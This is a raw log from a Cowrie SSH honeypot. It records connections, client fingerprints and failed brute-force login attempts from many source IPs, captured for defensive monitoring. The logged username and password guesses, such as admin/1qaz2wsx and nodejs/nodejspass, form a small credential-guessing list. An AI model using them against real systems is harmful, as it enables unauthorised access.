{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:30.613580Z","src_ip":"156.238.246.148","session":"6a99cb670c5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"123456","message":"login attempt [testmail/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:31.448548Z","src_ip":"156.238.246.148","session":"6a99cb670c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:32.651623Z","src_ip":"156.238.246.148","session":"6a99cb670c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":42984,"dst_ip":"10.17.0.5","dst_port":22,"session":"630564dc75ff","protocol":"ssh","message":"New connection: 209.38.255.212:42984 (10.17.0.5:22) [session: 630564dc75ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:45.261598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:45.266074Z","src_ip":"209.38.255.212","session":"630564dc75ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:45.349772Z","src_ip":"209.38.255.212","session":"630564dc75ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodejs","password":"nodejspass","message":"login attempt [nodejs/nodejspass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:45.718908Z","src_ip":"209.38.255.212","session":"630564dc75ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:46.805363Z","src_ip":"209.38.255.212","session":"630564dc75ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60610,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d051e314de7","protocol":"ssh","message":"New connection: 195.178.110.218:60610 (10.17.0.5:22) [session: 6d051e314de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:04.295929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:04.300694Z","src_ip":"195.178.110.218","session":"6d051e314de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:04.380436Z","src_ip":"195.178.110.218","session":"6d051e314de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:04.618471Z","src_ip":"195.178.110.218","session":"6d051e314de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.116","src_port":18908,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bf6c167b6fa","protocol":"ssh","message":"New connection: 80.94.95.116:18908 (10.17.0.5:22) [session: 3bf6c167b6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:04.802126Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:05.700472Z","src_ip":"195.178.110.218","session":"6d051e314de7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:06.869657Z","src_ip":"80.94.95.116","session":"3bf6c167b6fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:06.969794Z","src_ip":"80.94.95.116","session":"3bf6c167b6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz2wsx","message":"login attempt [admin/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:08.644854Z","src_ip":"80.94.95.116","session":"3bf6c167b6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":53124,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fc0c9d5673a","protocol":"ssh","message":"New connection: 131.161.249.165:53124 (159.203.135.109:22) [session: 8fc0c9d5673a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:08.698404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:08.702756Z","src_ip":"131.161.249.165","session":"8fc0c9d5673a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:08.825619Z","src_ip":"131.161.249.165","session":"8fc0c9d5673a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prova","password":"12345678","message":"login attempt [prova/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:09.352024Z","src_ip":"131.161.249.165","session":"8fc0c9d5673a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:09.847034Z","src_ip":"80.94.95.116","session":"3bf6c167b6fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:10.477466Z","src_ip":"131.161.249.165","session":"8fc0c9d5673a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":51402,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fedbc58df72","protocol":"ssh","message":"New connection: 24.144.91.67:51402 (10.17.0.5:22) [session: 4fedbc58df72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:10.728017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:10.732713Z","src_ip":"24.144.91.67","session":"4fedbc58df72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:10.811243Z","src_ip":"24.144.91.67","session":"4fedbc58df72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scott","password":"Scott","message":"login attempt [scott/Scott] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:11.158495Z","src_ip":"24.144.91.67","session":"4fedbc58df72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:51:12.240662Z","src_ip":"24.144.91.67","session":"4fedbc58df72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":41956,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c03d72fb79f","protocol":"ssh","message":"New connection: 24.144.91.67:41956 (10.17.0.5:22) [session: 8c03d72fb79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:00.181365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:00.185891Z","src_ip":"24.144.91.67","session":"8c03d72fb79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:00.251431Z","src_ip":"24.144.91.67","session":"8c03d72fb79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmasterpassword","message":"login attempt [webmaster/webmasterpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:00.534169Z","src_ip":"24.144.91.67","session":"8c03d72fb79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:01.599734Z","src_ip":"24.144.91.67","session":"8c03d72fb79f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":40636,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d7630e81c7","protocol":"ssh","message":"New connection: 82.153.157.222:40636 (10.17.0.5:22) [session: 38d7630e81c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:08.538170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:08.542651Z","src_ip":"82.153.157.222","session":"38d7630e81c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:08.632205Z","src_ip":"82.153.157.222","session":"38d7630e81c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ssl","password":"ssl123!","message":"login attempt [ssl/ssl123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:09.021549Z","src_ip":"82.153.157.222","session":"38d7630e81c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:10.113767Z","src_ip":"82.153.157.222","session":"38d7630e81c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":51796,"dst_ip":"159.203.135.109","dst_port":22,"session":"1764a462198f","protocol":"ssh","message":"New connection: 34.81.72.185:51796 (159.203.135.109:22) [session: 1764a462198f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:20.086962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:20.091390Z","src_ip":"34.81.72.185","session":"1764a462198f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:20.285065Z","src_ip":"34.81.72.185","session":"1764a462198f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anil","password":"anil@123456","message":"login attempt [anil/anil@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:52:21.093788Z","src_ip":"34.81.72.185","session":"1764a462198f","protocol":"ssh"}
